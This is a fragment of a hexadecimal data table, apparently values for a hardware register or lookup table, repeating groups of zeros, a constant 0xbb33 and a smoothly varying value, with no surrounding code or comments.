0x0, 0x0, 0xbb33, 0x306e, 0x0, 0x0, 0xbb33, 0x3063,
0x0, 0x0, 0xbb33, 0x3057, 0x0, 0x0, 0xbb33, 0x304b,
0x0, 0x0, 0xbb33, 0x3040, 0x0, 0x0, 0xbb33, 0x3034,
0x0, 0x0, 0xbb33, 0x3029, 0x0, 0x0, 0xbb33, 0x301d,
0x0, 0x0, 0xbb33, 0x3012, 0x0, 0x0, 0xbb33, 0x3006,
0x0, 0x0, 0xbb33, 0x2ff5, 0x0, 0x0, 0xbb33, 0x2fde,
0x0, 0x0, 0xbb33, 0x2fc7, 0x0, 0x0, 0xbb33, 0x2fb0,
0x0, 0x0, 0xbb33, 0x2f99, 0x0, 0x0, 0xbb33, 0x2f82,
0x0, 0x0, 0xbb33, 0x2f6b, 0x0, 0x0, 0xbb33, 0x2f54,
0x0, 0x0, 0xbb33, 0x2f3d, 0x0, 0x0, 0xbb33, 0x2f26,
0x0, 0x0, 0xbb33, 0x2f0f, 0x0, 0x0, 0xbb33, 0x2ef8,
0x0, 0x0, 0xbb33, 0x2ee1, 0x0, 0x0, 0xbb33, 0x2eca,
0x0, 0x0, 0xbb33, 0x2eb3, 0x0, 0x0, 0xbb33, 0x2e9d,
0x0, 0x0, 0xbb33, 0x2e86, 0x0, 0x0, 0xbb33, 0x2e6f,
0x0, 0x0, 0xbb33, 0x2e58, 0x0, 0x0, 0xbb33, 0x2e41,
0x0, 0x0, 0xbb33, 0x2e2a, 0x0, 0x0, 0xbb33, 0x2e13,
0x0, 0x0, 0xbb33, 0x2dfc, 0x0, 0x0, 0xbb33, 0x2de5,
0x0, 0x0, 0xbb33, 0x2dcf, 0x0, 0x0, 0xbb33, 0x2db8,
0x0, 0x0, 0xbb33, 0x2da1, 0x0, 0x0, 0xbb33, 0x2d8a,
0x0, 0x0, 0xbb33, 0x2d73, 0x0, 0x0, 0xbb33, 0x2d5c,
0x0, 0x0, 0xbb33, 0x2d46, 0x0, 0x0, 0xbb33, 0x2d2f,
0x0, 0x0, 0xbb33, 0x2d18, 0x0, 0x0, 0xbb33, 0x2d01,
0x0, 0x0, 0xbb33, 0x2cea, 0x0, 0x0, 0xbb33, 0x2cd4,
0x0, 0x0, 0xbb33, 0x2cbd, 0x0, 0x0, 0xbb33, 0x2ca6,
0x0, 0x0, 0xbb33, 0x2c8f, 0x0, 0x0, 0xbb33, 0x2c79,
0x0, 0x0, 0xbb33, 0x2c62, 0x0, 0x0, 0xbb33, 0x2c4b,
0x0, 0x0, 0xbb33, 0x2c34, 0x0, 0x0, 0xbb33, 0x2c1e,
0x0, 0x0, 0xbb33, 0x2c07, 0x0, 0x0, 0xbb33, 0x2be0,
0x0, 0x0, 0xbb33, 0x2bb3, 0x0, 0x0, 0xbb33, 0x2b85,
0x0, 0x0, 0xbb33, 0x2b58, 0x0, 0x0, 0xbb33, 0x2b2b,
0x0, 0x0, 0xbb33, 0x2afd, 0x0, 0x0, 0xbb33, 0x2ad0,
0x0, 0x0, 0xbb33, 0x2aa2, 0x0, 0x0, 0xbb33, 0x2a75,
0x0, 0x0, 0xbb33, 0x2a48, 0x0, 0x0, 0xbb33, 0x2a1a,
0x0, 0x0, 0xbb33, 0x29ed, 0x0, 0x0, 0xbb33, 0x29bf,
0x0, 0x0, 0xbb33, 0x2992, 0x0, 0x0, 0xbb33, 0x2965,
0x0, 0x0, 0xbb33, 0x2937, 0x0, 0x0, 0xbb33, 0x290a,
0x0, 0x0, 0xbb33, 0x28dd, 0x0, 0x0, 0xbb33, 0x28af,
0x0, 0x0, 0xbb33, 0x2882, 0x0, 0x0, 0xbb33, 0x2855,
0x0, 0x0, 0xbb33, 0x2828, 0x0, 0x0, 0xbb33, 0x27f5,
0x0, 0x0, 0xbb33, 0x279a, 0x0, 0x0, 0xbb33, 0x273f,
0x0, 0x0, 0xbb33, 0x26e5, 0x0, 0x0, 0xbb33, 0x268a,
0x0, 0x0, 0xbb33, 0x2630, 0x0, 0x0, 0xbb33, 0x25d5,
0x0, 0x0, 0xbb33, 0x257b, 0x0, 0x0, 0xbb33, 0x2520,
0x0, 0x0, 0xbb33, 0x24c6, 0x0, 0x0, 0xbb33, 0x246b,
0x0, 0x0, 0xbb33, 0x2411, 0x0, 0x0, 0xbb33, 0x236c,
0x0, 0x0, 0xbb33, 0x22b7, 0x0, 0x0, 0xbb33, 0x2202,
0x0, 0x0, 0xbb33, 0x214d, 0x0, 0x0, 0xbb33, 0x2098,
0x0, 0x0, 0xbb33, 0x1fc7, 0x0, 0x0, 0xbb33, 0x1e5d,
0x0, 0x0, 0xbb33, 0x1cf3, 0x0, 0x0, 0xbb33, 0x1b12,
0x0, 0x0, 0xbb33, 0x183e, 0x0, 0x0, 0xbb33, 0x11a8,
0x0, 0x0, 0xbb33, 0x91a8, 0x0, 0x0, 0xbb33, 0x983e,
0x0, 0x0, 0xbb33, 0x9b12, 0x0, 0x0, 0xbb33, 0x9cf3,
0x0, 0x0, 0xbb33, 0x9e5d, 0x0, 0x0, 0xbb33, 0x9fc7,
0x0, 0x0, 0xbb33, 0xa098, 0x0, 0x0, 0xbb33, 0xa14d,
0x0, 0x0, 0xbb33, 0xa202, 0x0, 0x0, 0xbb33, 0xa2b7,
0x0, 0x0, 0xbb33, 0xa36c, 0x0, 0x0, 0xbb33, 0xa411,
0x0, 0x0, 0xbb33, 0xa46b, 0x0, 0x0, 0xbb33, 0xa4c6,
0x0, 0x0, 0xbb33, 0xa520, 0x0, 0x0, 0xbb33, 0xa57b,
0x0, 0x0, 0xbb33, 0xa5d5, 0x0, 0x0, 0xbb33, 0xa630,
0x0, 0x0, 0xbb33, 0xa68a, 0x0, 0x0, 0xbb33, 0xa6e5,
0x0, 0x0, 0xbb33, 0xa73f, 0x0, 0x0, 0xbb33, 0xa79a,
0x0, 0x0, 0xbb33, 0xa7f5, 0x0, 0x0, 0xbb33, 0xa828,
0x0, 0x0, 0xbb33, 0xa855, 0x0, 0x0, 0xbb33, 0xa882,
0x0, 0x0, 0xbb33, 0xa8af, 0x0, 0x0, 0xbb33, 0xa8dd,
0x0, 0x0, 0xbb33, 0xa90a, 0x0, 0x0, 0xbb33, 0xa937,
0x0, 0x0, 0xbb33, 0xa965, 0x0, 0x0, 0xbb33, 0xa992,
0x0, 0x0, 0xbb33, 0xa9bf, 0x0, 0x0, 0xbb33, 0xa9ed,
0x0, 0x0, 0xbb33, 0xaa1a, 0x0, 0x0, 0xbb33, 0xaa48,
0x0, 0x0, 0xbb33, 0xaa75, 0x0, 0x0, 0xbb33, 0xaaa2,
0x0, 0x0, 0xbb33, 0xaad0, 0x0, 0x0, 0xbb33, 0xaafd,
0x0, 0x0, 0xbb33, 0xab2b, 0x0, 0x0, 0xbb33, 0xab58,
0x0, 0x0, 0xbb33, 0xab85, 0x0, 0x0, 0xbb33, 0xabb3,
0x0, 0x0, 0xbb33, 0xabe0, 0x0, 0x0, 0xbb33, 0xac07,
0x0, 0x0, 0xbb33, 0xac1e, 0x0, 0x0, 0xbb33, 0xac34,
0x0, 0x0, 0xbb33, 0xac4b, 0x0, 0x0, 0xbb33, 0xac62,
0x0, 0x0, 0xbb33, 0xac79, 0x0, 0x0, 0xbb33, 0xac8f,
0x0, 0x0, 0xbb33, 0xaca6, 0x0, 0x0, 0xbb33, 0xacbd,
0x0, 0x0, 0xbb33, 0xacd4, 0x0, 0x0, 0xbb33, 0xacea,
0x0, 0x0, 0xbb33, 0xad01, 0x0, 0x0, 0xbb33, 0xad18,
0x0, 0x0, 0xbb33, 0xad2f, 0x0, 0x0, 0xbb33, 0xad46,
0x0, 0x0, 0xbb33, 0xad5c, 0x0, 0x0, 0xbb33, 0xad73,
0x0, 0x0, 0xbb33, 0xad8a, 0x0, 0x0, 0xbb33, 0xada1,
0x0, 0x0, 0xbb33, 0xadb8, 0x0, 0x0, 0xbb33, 0xadcf,
0x0, 0x0, 0xbb33, 0xade5, 0x0, 0x0, 0xbb33, 0xadfc,
0x0, 0x0, 0xbb33, 0xae13, 0x0, 0x0, 0xbb33, 0xae2a,
0x0, 0x0, 0xbb33, 0xae41, 0x0, 0x0, 0xbb33, 0xae58,
0x0, 0x0, 0xbb33, 0xae6f, 0x0, 0x0, 0xbb33, 0xae86,
0x0, 0x0, 0xbb33, 0xae9d, 0x0, 0x0, 0xbb33, 0xaeb3,
0x0, 0x0, 0xbb33, 0xaeca, 0x0, 0x0, 0xbb33, 0xaee1,
0x0, 0x0, 0xbb33, 0xaef8, 0x0, 0x0, 0xbb33, 0xaf0f,
0x0, 0x0, 0xbb33, 0xaf26, 0x0, 0x0, 0xbb33, 0xaf3d,
0x0, 0x0, 0xbb33, 0xaf54, 0x0, 0x0, 0xbb33, 0xaf6b,
0x0, 0x0, 0xbb33, 0xaf82, 0x0, 0x0, 0xbb33, 0xaf99,
0x0, 0x0, 0xbb33, 0xafb0, 0x0, 0x0, 0xbb33, 0xafc7,
0x0, 0x0, 0xbb33, 0xafde, 0x0, 0x0, 0xbb33, 0xaff5,
0x0, 0x0, 0xbb33, 0xb006, 0x0, 0x0, 0xbb33, 0xb012,
0x0, 0x0, 0xbb33, 0xb01d, 0x0, 0x0, 0xbb33, 0xb029,
0x0, 0x0, 0xbb33, 0xb034, 0x0, 0x0, 0xbb33, 0xb040,
0x0, 0x0, 0xbb33, 0xb04b, 0x0, 0x0, 0xbb33, 0xb057,
0x0, 0x0, 0xbb33, 0xb063, 0x0, 0x0, 0xbb33, 0xb06e,
0x0, 0x0, 0xbb33, 0xb07a, 0x0, 0x0, 0xbb33, 0xb085,
0x0, 0x0, 0xbb33, 0xb091, 0x0, 0x0, 0xbb33, 0xb09c,
0x0, 0x0, 0xbb33, 0xb0a8, 0x0, 0x0, 0xbb33, 0xb0b4,
0x0, 0x0, 0xbb33, 0xb0bf, 0x0, 0x0, 0xbb33, 0xb0cb,
0x0, 0x0, 0xbb33, 0xb0d7, 0x0, 0x0, 0xbb33, 0xb0e2,
0x0, 0x0, 0xbb33, 0xb0ee, 0x0, 0x0, 0xbb33, 0xb0f9,
0x0, 0x0, 0xbb33, 0xb105, 0x0, 0x0, 0xbb33, 0xb111,
0x0, 0x0, 0xbb33, 0xb11c, 0x0, 0x0, 0xbb33, 0xb128,
0x0, 0x0, 0xbb33, 0xb134, 0x0, 0x0, 0xbb33, 0xb13f,
0x0, 0x0, 0xbb33, 0xb14b, 0x0, 0x0, 0xbb33, 0xb157,
0x0, 0x0, 0xbb33, 0xb163, 0x0, 0x0, 0xbb33, 0xb16e,
0x0, 0x0, 0xbb33, 0xb17a, 0x0, 0x0, 0xbb33, 0xb186,
0x0, 0x0, 0xbb33, 0xb191, 0x0, 0x0, 0xbb33, 0xb19d,
0x0, 0x0, 0xbb33, 0xb1a9, 0x0, 0x0, 0xbb33, 0xb1b5,
0x0, 0x0, 0xbb33, 0xb1c0, 0x0, 0x0, 0xbb33, 0xb1cc,
0x0, 0x0, 0xbb33, 0xb1d8, 0x0, 0x0, 0xbb33, 0xb1e4,
0x0, 0x0, 0xbb33, 0xb1f0, 0x0, 0x0, 0xbb33, 0xb1fb,
0x0, 0x0, 0xbb33, 0xb207, 0x0, 0x0, 0xbb33, 0xb213,
0x0, 0x0, 0xbb33, 0xb21f, 0x0, 0x0, 0xbb33, 0xb22b,
0x0, 0x0, 0xbb33, 0xb236, 0x0, 0x0, 0xbb33, 0xb242,
0x0, 0x0, 0xbb33, 0xb24e, 0x0, 0x0, 0xbb33, 0xb25a,
0x0, 0x0, 0xbb33, 0xb266, 0x0, 0x0, 0xbb33, 0xb272,
0x0, 0x0, 0xbb33, 0xb27e, 0x0, 0x0, 0xbb33, 0xb289,
0x0, 0x0, 0xbb33, 0xb295, 0x0, 0x0, 0xbb33, 0xb2a1,
0x0, 0x0, 0xbb33, 0xb2ad, 0x0, 0x0, 0xbb33, 0xb2b9,
0x0, 0x0, 0xbb33, 0xb2c5, 0x0, 0x0, 0xbb33, 0xb2d1,
0x0, 0x0, 0xbb33, 0xb2dd, 0x0, 0x0, 0xbb33, 0xb2e9,
0x0, 0x0, 0xbb33, 0xb2f5, 0x0, 0x0, 0xbb33, 0xb301,
0x0, 0x0, 0xbb33, 0xb30d, 0x0, 0x0, 0xbb33, 0xb319,
0x0, 0x0, 0xbb33, 0xb325, 0x0, 0x0, 0xbb33, 0xb331,
0x0, 0x0, 0xbb33, 0xb33d, 0x0, 0x0, 0xbb33, 0xb349,
0x0, 0x0, 0xbb33, 0xb355, 0x0, 0x0, 0xbb33, 0xb361,
0x0, 0x0, 0xbb33, 0xb36d, 0x0, 0x0, 0xbb33, 0xb379,
0x0, 0x0, 0xbb33, 0xb385, 0x0, 0x0, 0xbb33, 0xb391,
0x0, 0x0, 0xbb33, 0xb39d, 0x0, 0x0, 0xbb33, 0xb3a9,
0x0, 0x0, 0xbb33, 0xb3b6, 0x0, 0x0, 0xbb33, 0xb3c2,
0x0, 0x0, 0xbb33, 0xb3ce, 0x0, 0x0, 0xbb33, 0xb3da,
0x0, 0x0, 0xbb33, 0xb3e6, 0x0, 0x0, 0xbb33, 0xb3f2,
0x0, 0x0, 0xbb33, 0xb3fe, 0x0, 0x0, 0xbb33, 0xb405,
0x0, 0x0, 0xbb33, 0xb40b, 0x0, 0x0, 0xbb33, 0xb412,
0x0, 0x0, 0xbb33, 0xb418, 0x0, 0x0, 0xbb33, 0xb41e,
0x0, 0x0, 0xbb33, 0xb424, 0x0, 0x0, 0xbb33, 0xb42a,
0x0, 0x0, 0xbb33, 0xb430, 0x0, 0x0, 0xbb33, 0xb436,
0x0, 0x0, 0xbb33, 0xb43c, 0x0, 0x0, 0xbb33, 0xb443,
0x0, 0x0, 0xbb33, 0xb449, 0x0, 0x0, 0xbb33, 0xb44f,
0x0, 0x0, 0xbb33, 0xb455, 0x0, 0x0, 0xbb33, 0xb45b,
0x0, 0x0, 0xbb33, 0xb461, 0x0, 0x0, 0xbb33, 0xb468,
0x0, 0x0, 0xbb33, 0xb46e, 0x0, 0x0, 0xbb33, 0xb474,
0x0, 0x0, 0xbb33, 0xb47a, 0x0, 0x0, 0xbb33, 0xb480,
0x0, 0x0, 0xbb33, 0xb487, 0x0, 0x0, 0xbb33, 0xb48d,
0x0, 0x0, 0xbb33, 0xb493, 0x0, 0x0, 0xbb33, 0xb499,
0x0, 0x0, 0xbb33, 0xb49f, 0x0, 0x0, 0xbb33, 0xb4a6,
0x0, 0x0, 0xbb33, 0xb4ac, 0x0, 0x0, 0xbb33, 0xb4b2,
0x0, 0x0, 0xbb33, 0xb4b8, 0x0, 0x0, 0xbb33, 0xb4bf,
0x0, 0x0, 0xbb33, 0xb4c5, 0x0, 0x0, 0xbb33, 0xb4cb,
0x0, 0x0, 0xbb33, 0xb4d2, 0x0, 0x0, 0xbb33, 0xb4d8,
0x0, 0x0, 0xbb33, 0xb4de, 0x0, 0x0, 0xbb33, 0xb4e4,
0x0, 0x0, 0xbb33, 0xb4eb, 0x0, 0x0, 0xbb33, 0xb4f1,
0x0, 0x0, 0xbb33, 0xb4f7, 0x0, 0x0, 0xbb33, 0xb4fe,
0x0, 0x0, 0xbb33, 0xb504, 0x0, 0x0, 0xbb33, 0xb50a,
0x0, 0x0, 0xbb33, 0xb511, 0x0, 0x0, 0xbb33, 0xb517,
0x0, 0x0, 0xbb33, 0xb51d, 0x0, 0x0, 0xbb33, 0xb524,
0x0, 0x0, 0xbb33, 0xb52a, 0x0, 0x0, 0xbb33, 0xb531,
0x0, 0x0, 0xbb33, 0xb537, 0x0, 0x0, 0xbb33, 0xb53d,
0x0, 0x0, 0xbb33, 0xb544, 0x0, 0x0, 0xbb33, 0xb54a,
0x0, 0x0, 0xbb33, 0xb551, 0x0, 0x0, 0xbb33, 0xb557,
0x0, 0x0, 0xbb33, 0xb55d, 0x0, 0x0, 0xbb33, 0xb564,
0x0, 0x0, 0xbb33, 0xb56a, 0x0, 0x0, 0xbb33, 0xb571,
0x0, 0x0, 0xbb33, 0xb577, 0x0, 0x0, 0xbb33, 0xb57e,
0x0, 0x0, 0xbb33, 0xb584, 0x0, 0x0, 0xbb33, 0xb58b,
0x0, 0x0, 0xbb33, 0xb591, 0x0, 0x0, 0xbb33, 0xb598,
0x0, 0x0, 0xbb33, 0xb59e, 0x0, 0x0, 0xbb33, 0xb5a5,
0x0, 0x0, 0xbb33, 0xb5ab, 0x0, 0x0, 0xbb33, 0xb5b2,
0x0, 0x0, 0xbb33, 0xb5b8, 0x0, 0x0, 0xbb33, 0xb5bf,
0x0, 0x0, 0xbb33, 0xb5c6, 0x0, 0x0, 0xbb33, 0xb5cc,
0x0, 0x0, 0xbb33, 0xb5d3, 0x0, 0x0, 0xbb33, 0xb5d9,
0x0, 0x0, 0xbb33, 0xb5e0, 0x0, 0x0, 0xbb33, 0xb5e6,
0x0, 0x0, 0xbb33, 0xb5ed, 0x0, 0x0, 0xbb33, 0xb5f4,
0x0, 0x0, 0xbb33, 0xb5fa, 0x0, 0x0, 0xbb33, 0xb601,
0x0, 0x0, 0xbb33, 0xb608, 0x0, 0x0, 0xbb33, 0xb60e,
0x0, 0x0, 0xbb33, 0xb615, 0x0, 0x0, 0xbb33, 0xb61c,
0x0, 0x0, 0xbb33, 0xb622, 0x0, 0x0, 0xbb33, 0xb629,
0x0, 0x0, 0xbb33, 0xb630, 0x0, 0x0, 0xbb33, 0xb636,
0x0, 0x0, 0xbb33, 0xb63d, 0x0, 0x0, 0xbb33, 0xb644,
0x0, 0x0, 0xbb33, 0xb64a, 0x0, 0x0, 0xbb33, 0xb651,
0x0, 0x0, 0xbb33, 0xb658, 0x0, 0x0, 0xbb33, 0xb65f,
0x0, 0x0, 0xbb33, 0xb665, 0x0, 0x0, 0xbb33, 0xb66c,
0x0, 0x0, 0xbb33, 0xb673, 0x0, 0x0, 0xbb33, 0xb67a,
0x0, 0x0, 0xbb33, 0xb681, 0x0, 0x0, 0xbb33, 0xb687,
0x0, 0x0, 0xbb33, 0xb68e, 0x0, 0x0, 0xbb33, 0xb695,
0x0, 0x0, 0xbb33, 0xb69c, 0x0, 0x0, 0xbb33, 0xb6a3,
0x0, 0x0, 0xbb33, 0xb6aa, 0x0, 0x0, 0xbb33, 0xb6b0,
0x0, 0x0, 0xbb33, 0xb6b7, 0x0, 0x0, 0xbb33, 0xb6be,
0x0, 0x0, 0xbb33, 0xb6c5, 0x0, 0x0, 0xbb33, 0xb6cc,
0x0, 0x0, 0xbb33, 0xb6d3, 0x0, 0x0, 0xbb33, 0xb6da,
0x0, 0x0, 0xbb33, 0xb6e1, 0x0, 0x0, 0xbb33, 0xb6e8,
0x0, 0x0, 0xbb33, 0xb6ef, 0x0, 0x0, 0xbb33, 0xb6f6,
0x0, 0x0, 0xbb33, 0xb6fd, 0x0, 0x0, 0xbb33, 0xb704,
0x0, 0x0, 0xbb33, 0xb70b, 0x0, 0x0, 0xbb33, 0xb712,
0x0, 0x0, 0xbb33, 0xb719, 0x0, 0x0, 0xbb33, 0xb720,
0x0, 0x0, 0xbb33, 0xb727, 0x0, 0x0, 0xbb33, 0xb72e,
0x0, 0x0, 0xbb33, 0xb735, 0x0, 0x0, 0xbb33, 0xb73c,
0x0, 0x0, 0xbb33, 0xb743, 0x0, 0x0, 0xbb33, 0xb74a,
0x0, 0x0, 0xbb33, 0xb751, 0x0, 0x0, 0xbb33, 0xb758,
0x0, 0x0, 0xbb33, 0xb760, 0x0, 0x0, 0xbb33, 0xb767,
0x0, 0x0, 0xbb33, 0xb76e, 0x0, 0x0, 0xbb33, 0xb775,
0x0, 0x0, 0xbb33, 0xb77c, 0x0, 0x0, 0xbb33, 0xb783,
0x0, 0x0, 0xbb33, 0xb78b, 0x0, 0x0, 0xbb33, 0xb792,
0x0, 0x0, 0xbb33, 0xb799, 0x0, 0x0, 0xbb33, 0xb7a0,
0x0, 0x0, 0xbb33, 0xb7a8, 0x0, 0x0, 0xbb33, 0xb7af,
0x0, 0x0, 0xbb33, 0xb7b6, 0x0, 0x0, 0xbb33, 0xb7bd,
0x0, 0x0, 0xbb33, 0xb7c5, 0x0, 0x0, 0xbb33, 0xb7cc,
0x0, 0x0, 0xbb33, 0xb7d3, 0x0, 0x0, 0xbb33, 0xb7db,
0x0, 0x0, 0xbb33, 0xb7e2, 0x0, 0x0, 0xbb33, 0xb7e9,
0x0, 0x0, 0xbb33, 0xb7f1, 0x0, 0x0, 0xbb33, 0xb7f8,
0x0, 0x0, 0xbb33, 0xb7ff, 0x0, 0x0, 0xbb33, 0xb803,
0x0, 0x0, 0xbb33, 0xb807, 0x0, 0x0, 0xbb33, 0xb80b,
0x0, 0x0, 0xbb33, 0xb80f, 0x0, 0x0, 0xbb33, 0xb812,
0x0, 0x0, 0xbb33, 0xb816, 0x0, 0x0, 0xbb33, 0xb81a,
0x0, 0x0, 0xbb33, 0xb81e, 0x0, 0x0, 0xbb33, 0xb821,
0x0, 0x0, 0xbb33, 0xb825, 0x0, 0x0, 0xbb33, 0xb829,
0x0, 0x0, 0xbb33, 0xb82d, 0x0, 0x0, 0xbb33, 0xb830,
0x0, 0x0, 0xbb33, 0xb834, 0x0, 0x0, 0xbb33, 0xb838,
0x0, 0x0, 0xbb33, 0xb83c, 0x0, 0x0, 0xbb33, 0xb840,
0x0, 0x0, 0xbb33, 0xb843, 0x0, 0x0, 0xbb33, 0xb847,
0x0, 0x0, 0xbb33, 0xb84b, 0x0, 0x0, 0xbb33, 0xb84f,
0x0, 0x0, 0xbb33, 0xb853, 0x0, 0x0, 0xbb33, 0xb857,
0x0, 0x0, 0xbb33, 0xb85a, 0x0, 0x0, 0xbb33, 0xb85e,
0x0, 0x0, 0xbb33, 0xb862, 0x0, 0x0, 0xbb33, 0xb866,
0x0, 0x0, 0xbb33, 0xb86a, 0x0, 0x0, 0xbb33, 0xb86e,
0x0, 0x0, 0xbb33, 0xb872, 0x0, 0x0, 0xbb33, 0xb876,
0x0, 0x0, 0xbb33, 0xb87a, 0x0, 0x0, 0xbb33, 0xb87d,
0x0, 0x0, 0xbb33, 0xb881, 0x0, 0x0, 0xbb33, 0xb885,
0x0, 0x0, 0xbb33, 0xb889, 0x0, 0x0, 0xbb33, 0xb88d,
0x0, 0x0, 0xbb33, 0xb891, 0x0, 0x0, 0xbb33, 0xb895,
0x0, 0x0, 0xbb33, 0xb899, 0x0, 0x0, 0xbb33, 0xb89d,
0x0, 0x0, 0xbb33, 0xb8a1, 0x0, 0x0, 0xbb33, 0xb8a5,
0x0, 0x0, 0xbb33, 0xb8a9, 0x0, 0x0, 0xbb33, 0xb8ad,
0x0, 0x0, 0xbb33, 0xb8b1, 0x0, 0x0, 0xbb33, 0xb8b5,
0x0, 0x0, 0xbb33, 0xb8b9, 0x0, 0x0, 0xbb33, 0xb8bd,
0x0, 0x0, 0xbb33, 0xb8c1, 0x0, 0x0, 0xbb33, 0xb8c5,
0x0, 0x0, 0xbb33, 0xb8c9, 0x0, 0x0, 0xbb33, 0xb8ce,
0x0, 0x0, 0xbb33, 0xb8d2, 0x0, 0x0, 0xbb33, 0xb8d6,
0x0, 0x0, 0xbb33, 0xb8da, 0x0, 0x0, 0xbb33, 0xb8de,
0x0, 0x0, 0xbb33, 0xb8e2, 0x0, 0x0, 0xbb33, 0xb8e6,
0x0, 0x0, 0xbb33, 0xb8ea, 0x0, 0x0, 0xbb33, 0xb8ee,
0x0, 0x0, 0xbb33, 0xb8f3, 0x0, 0x0, 0xbb33, 0xb8f7,
0x0, 0x0, 0xbb33, 0xb8fb, 0x0, 0x0, 0xbb33, 0xb8ff,
0x0, 0x0, 0xbb33, 0xb903, 0x0, 0x0, 0xbb33, 0xb908,
0x0, 0x0, 0xbb33, 0xb90c, 0x0, 0x0, 0xbb33, 0xb910,
0x0, 0x0, 0xbb33, 0xb914, 0x0, 0x0, 0xbb33, 0xb918,
0x0, 0x0, 0xbb33, 0xb91d, 0x0, 0x0, 0xbb33, 0xb921,
0x0, 0x0, 0xbb33, 0xb925, 0x0, 0x0, 0xbb33, 0xb92a,
0x0, 0x0, 0xbb33, 0xb92e, 0x0, 0x0, 0xbb33, 0xb932,
0x0, 0x0, 0xbb33, 0xb936, 0x0, 0x0, 0xbb33, 0xb93b,
0x0, 0x0, 0xbb33, 0xb93f, 0x0, 0x0, 0xbb33, 0xb943,
0x0, 0x0, 0xbb33, 0xb948, 0x0, 0x0, 0xbb33, 0xb94c,
0x0, 0x0, 0xbb33, 0xb950, 0x0, 0x0, 0xbb33, 0xb955,
0x0, 0x0, 0xbb33, 0xb959, 0x0, 0x0, 0xbb33, 0xb95e,
0x0, 0x0, 0xbb33, 0xb962, 0x0, 0x0, 0xbb33, 0xb966,
0x0, 0x0, 0xbb33, 0xb96b, 0x0, 0x0, 0xbb33, 0xb96f,
0x0, 0x0, 0xbb33, 0xb974, 0x0, 0x0, 0xbb33, 0xb978,
0x0, 0x0, 0xbb33, 0xb97d, 0x0, 0x0, 0xbb33, 0xb981,
0x0, 0x0, 0xbb33, 0xb986, 0x0, 0x0, 0xbb33, 0xb98a,
0x0, 0x0, 0xbb33, 0xb98f, 0x0, 0x0, 0xbb33, 0xb993,
0x0, 0x0, 0xbb33, 0xb998, 0x0, 0x0, 0xbb33, 0xb99c,
0x0, 0x0, 0xbb33, 0xb9a1, 0x0, 0x0, 0xbb33, 0xb9a5,
0x0, 0x0, 0xbb33, 0xb9aa, 0x0, 0x0, 0xbb33, 0xb9ae,
0x0, 0x0, 0xbb33, 0xb9b3, 0x0, 0x0, 0xbb33, 0xb9b8,
0x0, 0x0, 0xbb33, 0xb9bc, 0x0, 0x0, 0xbb33, 0xb9c1,
0x0, 0x0, 0xbb33, 0xb9c6, 0x0, 0x0, 0xbb33, 0xb9ca,
0x0, 0x0, 0xbb33, 0xb9cf, 0x0, 0x0, 0xbb33, 0xb9d4,
0x0, 0x0, 0xbb33, 0xb9d8, 0x0, 0x0, 0xbb33, 0xb9dd,
0x0, 0x0, 0xbb33, 0xb9e2, 0x0, 0x0, 0xbb33, 0xb9e6,
0x0, 0x0, 0xbb33, 0xb9eb, 0x0, 0x0, 0xbb33, 0xb9f0,
0x0, 0x0, 0xbb33, 0xb9f5, 0x0, 0x0, 0xbb33, 0xb9f9,
0x0, 0x0, 0xbb33, 0xb9fe, 0x0, 0x0, 0xbb33, 0xba03,
0x0, 0x0, 0xbb33, 0xba08, 0x0, 0x0, 0xbb33, 0xba0d,
0x0, 0x0, 0xbb33, 0xba11, 0x0, 0x0, 0xbb33, 0xba16,
0x0, 0x0, 0xbb33, 0xba1b, 0x0, 0x0, 0xbb33, 0xba20,
0x0, 0x0, 0xbb33, 0xba25, 0x0, 0x0, 0xbb33, 0xba2a,
0x0, 0x0, 0xbb33, 0xba2f, 0x0, 0x0, 0xbb33, 0xba33,
0x0, 0x0, 0xbb33, 0xba38, 0x0, 0x0, 0xbb33, 0xba3d,
0x0, 0x0, 0xbb33, 0xba42, 0x0, 0x0, 0xbb33, 0xba47,
0x0, 0x0, 0xbb33, 0xba4c, 0x0, 0x0, 0xbb33, 0xba51,
0x0, 0x0, 0xbb33, 0xba56, 0x0, 0x0, 0xbb33, 0xba5b,
0x0, 0x0, 0xbb33, 0xba60, 0x0, 0x0, 0xbb33, 0xba65,
0x0, 0x0, 0xbb33, 0xba6a, 0x0, 0x0, 0xbb33, 0xba70,
0x0, 0x0, 0xbb33, 0xba75, 0x0, 0x0, 0xbb33, 0xba7a,
0x0, 0x0, 0xbb33, 0xba7f, 0x0, 0x0, 0xbb33, 0xba84,
0x0, 0x0, 0xbb33, 0xba89, 0x0, 0x0, 0xbb33, 0xba8e,
0x0, 0x0, 0xbb33, 0xba93, 0x0, 0x0, 0xbb33, 0xba99,
0x0, 0x0, 0xbb33, 0xba9e, 0x0, 0x0, 0xbb33, 0xbaa3,
0x0, 0x0, 0xbb33, 0xbaa8, 0x0, 0x0, 0xbb33, 0xbaae,
0x0, 0x0, 0xbb33, 0xbab3, 0x0, 0x0, 0xbb33, 0xbab8,
0x0, 0x0, 0xbb33, 0xbabd, 0x0, 0x0, 0xbb33, 0xbac3,
0x0, 0x0, 0xbb33, 0xbac8, 0x0, 0x0, 0xbb33, 0xbacd,
0x0, 0x0, 0xbb33, 0xbad3, 0x0, 0x0, 0xbb33, 0xbad8,
0x0, 0x0, 0xbb33, 0xbade, 0x0, 0x0, 0xbb33, 0xbae3,
0x0, 0x0, 0xbb33, 0xbae8, 0x0, 0x0, 0xbb33, 0xbaee,
0x0, 0x0, 0xbb33, 0xbaf3, 0x0, 0x0, 0xbb33, 0xbaf9,
0x0, 0x0, 0xbb33, 0xbafe, 0x0, 0x0, 0xbb33, 0xbb04,
0x0, 0x0, 0xbb33, 0xbb09, 0x0, 0x0, 0xbb33, 0xbb0f,
0x0, 0x0, 0xbb33, 0xbb14, 0x0, 0x0, 0xbb33, 0xbb1a,
0x0, 0x0, 0xbb33, 0xbb20, 0x0, 0x0, 0xbb33, 0xbb25,
0x0, 0x0, 0xbb33, 0xbb2b, 0x0, 0x0, 0xbb33, 0xbb30,
0x0, 0x0, 0xbb33, 0xbb36, 0x0, 0x0, 0xbb33, 0xbb3c,
0x0, 0x0, 0xbb33, 0xbb41, 0x0, 0x0, 0xbb33, 0xbb47,
0x0, 0x0, 0xbb33, 0xbb4d, 0x0, 0x0, 0xbb33, 0xbb53,
0x0, 0x0, 0xbb33, 0xbb58, 0x0, 0x0, 0xbb33, 0xbb5e,
0x0, 0x0, 0xbb33, 0xbb64, 0x0, 0x0, 0xbb33, 0xbb6a,
0x0, 0x0, 0xbb33, 0xbb70, 0x0, 0x0, 0xbb33, 0xbb75,
0x0, 0x0, 0xbb33, 0xbb7b, 0x0, 0x0, 0xbb33, 0xbb81,
